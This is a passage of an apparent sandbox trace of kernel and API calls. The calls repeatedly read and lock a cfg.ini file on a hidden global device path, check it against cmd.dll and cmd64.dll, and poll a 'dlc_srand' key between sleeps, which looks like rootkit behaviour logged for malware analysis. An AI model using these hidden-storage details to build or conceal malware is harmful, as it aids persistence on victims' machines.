CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.358] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adca70 [0128.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.358] KeLeaveCriticalRegion () [0128.358] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.358] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.358] KeEnterCriticalRegion () [0128.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.358] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.358] KeLeaveCriticalRegion () [0128.358] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.358] KeEnterCriticalRegion () [0128.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.358] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.358] IdePortDispatch () returned 0x103 [0128.358] KeWaitForMutexObject () returned 0x0 [0128.359] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.359] KeLeaveCriticalRegion () [0128.359] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.359] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.359] KeEnterCriticalRegion () [0128.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.359] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ae000 [0128.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.359] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.359] IdePortDispatch () returned 0x103 [0128.359] KeWaitForMutexObject () returned 0x0 [0128.359] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.359] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.359] IdePortDispatch () returned 0x103 [0128.360] KeWaitForMutexObject () returned 0x0 [0128.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.360] KeLeaveCriticalRegion () [0128.360] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.360] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.360] KeEnterCriticalRegion () [0128.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.360] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.361] KeLeaveCriticalRegion () [0128.361] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.361] KeEnterCriticalRegion () [0128.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.361] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.361] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.361] KeLeaveCriticalRegion () [0128.361] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.361] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.361] KeEnterCriticalRegion () [0128.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.361] ExFreePoolWithTag (P=0xfffffa8002adca70, Tag=0x0) [0128.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.361] KeLeaveCriticalRegion () [0128.361] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.361] ReleaseMutex (hMutex=0xf0) returned 1 [0128.361] Sleep (dwMilliseconds=0x124f80) [0128.379] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.379] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.379] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.379] KeEnterCriticalRegion () [0128.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.379] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.379] IdePortDispatch () returned 0x103 [0128.379] KeWaitForMutexObject () returned 0x0 [0128.379] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.379] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.379] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.379] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.380] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.380] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe350 [0128.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.380] KeLeaveCriticalRegion () [0128.380] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.380] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.380] KeEnterCriticalRegion () [0128.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.380] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.380] KeLeaveCriticalRegion () [0128.380] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.380] KeEnterCriticalRegion () [0128.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.380] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.380] IdePortDispatch () returned 0x103 [0128.380] KeWaitForMutexObject () returned 0x0 [0128.380] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.380] KeLeaveCriticalRegion () [0128.380] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.380] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.381] KeEnterCriticalRegion () [0128.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.381] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b3000 [0128.381] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.381] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.381] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.381] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.381] IdePortDispatch () returned 0x103 [0128.381] KeWaitForMutexObject () returned 0x0 [0128.381] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.381] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.381] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.381] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.381] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.381] IdePortDispatch () returned 0x103 [0128.381] KeWaitForMutexObject () returned 0x0 [0128.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.381] KeLeaveCriticalRegion () [0128.381] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.382] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.382] KeEnterCriticalRegion () [0128.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.382] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.382] KeLeaveCriticalRegion () [0128.382] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.382] KeEnterCriticalRegion () [0128.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.382] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.382] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.382] KeLeaveCriticalRegion () [0128.382] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.382] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.382] KeEnterCriticalRegion () [0128.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.382] ExFreePoolWithTag (P=0xfffffa8003bfe350, Tag=0x0) [0128.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.383] KeLeaveCriticalRegion () [0128.383] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.383] ReleaseMutex (hMutex=0xf0) returned 1 [0128.383] Sleep (dwMilliseconds=0x124f80) [0128.398] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.398] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.398] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.398] KeEnterCriticalRegion () [0128.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.398] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.398] IdePortDispatch () returned 0x103 [0128.398] KeWaitForMutexObject () returned 0x0 [0128.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.399] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.399] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.399] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.399] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.399] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bffb10 [0128.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.399] KeLeaveCriticalRegion () [0128.399] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.399] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.399] KeEnterCriticalRegion () [0128.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.399] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.399] KeLeaveCriticalRegion () [0128.399] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.399] KeEnterCriticalRegion () [0128.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.399] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.399] IdePortDispatch () returned 0x103 [0128.399] KeWaitForMutexObject () returned 0x0 [0128.399] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.399] KeLeaveCriticalRegion () [0128.399] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.399] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.400] KeEnterCriticalRegion () [0128.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.400] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b8000 [0128.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.400] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.400] IdePortDispatch () returned 0x103 [0128.400] KeWaitForMutexObject () returned 0x0 [0128.400] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.400] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.400] IdePortDispatch () returned 0x103 [0128.400] KeWaitForMutexObject () returned 0x0 [0128.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.400] KeLeaveCriticalRegion () [0128.400] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.401] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.401] KeEnterCriticalRegion () [0128.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.401] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.401] KeLeaveCriticalRegion () [0128.401] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.401] KeEnterCriticalRegion () [0128.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.401] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.401] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.401] KeLeaveCriticalRegion () [0128.401] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.401] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.401] KeEnterCriticalRegion () [0128.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.401] ExFreePoolWithTag (P=0xfffffa8003bffb10, Tag=0x0) [0128.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.401] KeLeaveCriticalRegion () [0128.401] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.401] ReleaseMutex (hMutex=0xf0) returned 1 [0128.401] Sleep (dwMilliseconds=0x124f80) [0128.416] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.416] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.416] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.416] KeEnterCriticalRegion () [0128.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.416] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.416] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.416] IdePortDispatch () returned 0x103 [0128.416] KeWaitForMutexObject () returned 0x0 [0128.416] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.416] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.416] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.416] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.416] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.416] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe460 [0128.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.416] KeLeaveCriticalRegion () [0128.416] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.416] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.416] KeEnterCriticalRegion () [0128.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.416] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.416] KeLeaveCriticalRegion () [0128.416] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.417] KeEnterCriticalRegion () [0128.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.417] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.417] IdePortDispatch () returned 0x103 [0128.417] KeWaitForMutexObject () returned 0x0 [0128.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.417] KeLeaveCriticalRegion () [0128.417] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.417] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.417] KeEnterCriticalRegion () [0128.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.417] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bd000 [0128.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 